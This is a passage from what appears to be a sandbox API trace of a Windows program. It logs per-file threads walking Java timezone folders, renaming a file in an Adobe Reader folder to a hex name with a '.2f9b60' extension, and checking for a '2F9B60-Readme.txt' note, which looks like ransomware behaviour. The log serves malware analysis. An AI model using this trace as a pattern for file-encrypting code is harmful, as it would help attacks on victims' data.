BaseAddress=0x1b85ef90) returned 1 [0161.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1660) returned 1 [0161.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a8f90 [0161.819] SetFilePointerEx (in: hFile=0x13e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.820] WriteFile (in: hFile=0x13e8, lpBuffer=0x423a8f90*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x296afb50, lpOverlapped=0x0 | out: lpBuffer=0x423a8f90*, lpNumberOfBytesWritten=0x296afb50*=0x108, lpOverlapped=0x0) returned 1 [0163.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3580 [0163.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3580) returned 1 [0163.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d200 [0163.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3580 [0163.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3550 [0163.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3550) returned 1 [0163.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0163.714] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.714] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="c7") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="b9") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="1c") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="72") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="44") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="a4") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="4f") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="c9") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="a7") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="64") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="84") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="3b") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="c6") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="2c") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="9c") returned 2 [0163.715] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="1e") returned 2 [0163.715] RtlInitAnsiString (in: DestinationString=0x296afbc8, SourceString="c0c7d8d15db91c7244a44f8ac94ea764843bc62c9c1e" | out: DestinationString="c0c7d8d15db91c7244a44f8ac94ea764843bc62c9c1e") [0163.715] RtlAnsiStringToUnicodeString (in: DestinationString=0x296afb98, SourceString="c0c7d8d15db91c7244a44f8ac94ea764843bc62c9c1e", AllocateDestinationString=1 | out: DestinationString="c0c7d8d15db91c7244a44f8ac94ea764843bc62c9c1e") returned 0x0 [0163.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b857d40 [0163.716] RtlFreeAnsiString (AnsiString="c") [0163.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3580) returned 1 [0163.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8f90) returned 1 [0163.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5b10) returned 1 [0163.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5b40) returned 1 [0163.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ae0) returned 1 [0163.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ab0) returned 1 [0163.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053f40) returned 1 [0163.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42054000) returned 1 [0163.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42054030) returned 1 [0163.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d1a0 [0163.718] wcscat (in: _Dest=0x4230d1a0, _Source="c0c7d8d15db" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c0c7d8d15db") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c0c7d8d15db" [0163.718] wcscat (in: _Dest=0x4230d1a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c0c7d8d15db.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c0c7d8d15db.2f9b60" [0163.718] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c0c7d8d15db.2f9b60", NtPathName=0x296afb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c0c7d8d15db.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202794f0 [0165.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202794f0) returned 1 [0165.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230a910) returned 1 [0165.129] NtQueryInformationFile (in: FileHandle=0x13e8, IoStatusBlock=0x296afbd8, FileInformation=0x296afbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x296afbd8, FileInformation=0x296afbe8) returned 0x0 [0165.129] NtSetInformationFile (FileHandle=0x13e8, IoStatusBlock=0x296afbd8, FileInformation=0x296afbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230d1a0) returned 1 [0165.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b857d40) returned 1 [0165.133] FlushFileBuffers (hFile=0x13e8) returned 1 [0166.267] CloseHandle (hObject=0x13e8) returned 1 [0183.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43184720 [0191.502] wcscpy (in: _Dest=0x43184720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0191.502] wcscat (in: _Dest=0x43184720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0191.502] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) returned 0x20 [0234.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43184720) returned 1 [0234.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784370) returned 1 Thread: id = 2439 os_tid = 0x1e90 [0153.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced96a0 [0153.473] wcscpy (in: _Dest=0x1ced96a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0153.473] wcscat (in: _Dest=0x1ced96a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0153.473] wcscat (in: _Dest=0x1ced96a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*" [0153.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0153.474] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0153.479] wcscmp (_String1=".", _String2=".") returned 0 [0153.479] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.480] wcscmp (_String1="..", _String2=".") returned 1 [0153.480] wcscmp (_String1="..", _String2="..") returned 0 [0153.480] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Abidjan", cAlternateFileName="")) returned 1 [0153.480] wcscmp (_String1="Abidjan", _String2=".") returned 1 [0153.480] wcscmp (_String1="Abidjan", _String2="..") returned 1 [0153.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8698c0 [0153.480] wcscpy (in: _Dest=0x1b8698c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0153.480] wcscat (in: _Dest=0x1b8698c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0153.480] wcscat (in: _Dest=0x1b8698c0, _Source="Abidjan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan" [0158.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8698c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2498 [0158.150] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accra", cAlternateFileName="")) returned 1 [0158.150] wcscmp (_String1="Accra", _String2=".") returned 1 [0158.150] wcscmp (_String1="Accra", _String2="..") returned 1 [0158.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cebea80 [0158.151] wcscpy (in: _Dest=0x1cebea80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.151] wcscat (in: _Dest=0x1cebea80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.151] wcscat (in: _Dest=0x1cebea80, _Source="Accra" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra" [0158.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebea80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2494 [0158.152] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Addis_Ababa", cAlternateFileName="ADDIS_~1")) returned 1 [0158.152] wcscmp (_String1="Addis_Ababa", _String2=".") returned 1 [0158.152] wcscmp (_String1="Addis_Ababa", _String2="..") returned 1 [0158.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cebea00 [0158.152] wcscpy (in: _Dest=0x1cebea00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.152] wcscat (in: _Dest=0x1cebea00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.152] wcscat (in: _Dest=0x1cebea00, _Source="Addis_Ababa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa" [0158.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebea00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2490 [0158.154] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Algiers", cAlternateFileName="")) returned 1 [0158.154] wcscmp (_String1="Algiers", _String2=".") returned 1 [0158.154] wcscmp (_String1="Algiers", _String2="..") returned 1 [0158.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cebeb00 [0158.154] wcscpy (in: _Dest=0x1cebeb00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.154] wcscat (in: _Dest=0x1cebeb00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.154] wcscat (in: _Dest=0x1cebeb00, _Source="Algiers" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers" [0158.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebeb00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2488 [0158.155] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asmara", cAlternateFileName="")) returned 1 [0158.155] wcscmp (_String1="Asmara", _String2=".") returned 1 [0158.155] wcscmp (_String1="Asmara", _String2="..") returned 1 [0158.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cebeb80 [0158.155] wcscpy (in: _Dest=0x1cebeb80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.155] wcscat (in: _Dest=0x1cebeb80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.155] wcscat (in: _Dest=0x1cebeb80, _Source="Asmara" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Asmara") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Asmara" [0158.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebeb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2484 [0158.156] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bamako", cAlternateFileName="")) returned 1 [0158.156] wcscmp (_String1="Bamako", _String2=".") returned 1 [0158.156] wcscmp (_String1="Bamako", _String2="..") returned 1 [0158.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cebec00 [0158.156] wcscpy (in: _Dest=0x1cebec00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.156] wcscat (in: _Dest=0x1cebec00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.157] wcscat (in: _Dest=0x1cebec00, _Source="Bamako" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako" [0158.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebec00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2480 [0158.158] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bangui", cAlternateFileName="")) returned 1 [0158.158] wcscmp (_String1="Bangui", _String2=".") returned 1 [0158.158] wcscmp (_String1="Bangui", _String2="..") returned 1 [0158.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cebec80 [0158.158] wcscpy (in: _Dest=0x1cebec80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.158] wcscat (in: _Dest=0x1cebec80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.158] wcscat (in: _Dest=0x1cebec80, _Source="Bangui" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui" [0158.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebec80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x247c [0158.159] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Banjul", cAlternateFileName="")) returned 1 [0158.159] wcscmp (_String1="Banjul", _String2=".") returned 1 [0158.159] wcscmp (_String1="Banjul", _String2="..") returned 1 [0158.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cebed00 [0158.159] wcscpy (in: _Dest=0x1cebed00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.159] wcscat (in: _Dest=0x1cebed00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.159] wcscat (in: _Dest=0x1cebed00, _Source="Banjul" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul" [0158.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebed00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d5c [0158.160] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bissau", cAlternateFileName="")) returned 1 [0158.160] wcscmp (_String1="Bissau", _String2=".") returned 1 [0158.160] wcscmp (_String1="Bissau", _String2="..") returned 1 [0158.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cebed80 [0158.161] wcscpy (in: _Dest=0x1cebed80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.161] wcscat (in: _Dest=0x1cebed80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.161] wcscat (in: _Dest=0x1cebed80, _Source="Bissau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau" [0158.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebed80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f0 [0158.162] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blantyre", cAlternateFileName="")) returned 1 [0158.162] wcscmp (_String1="Blantyre", 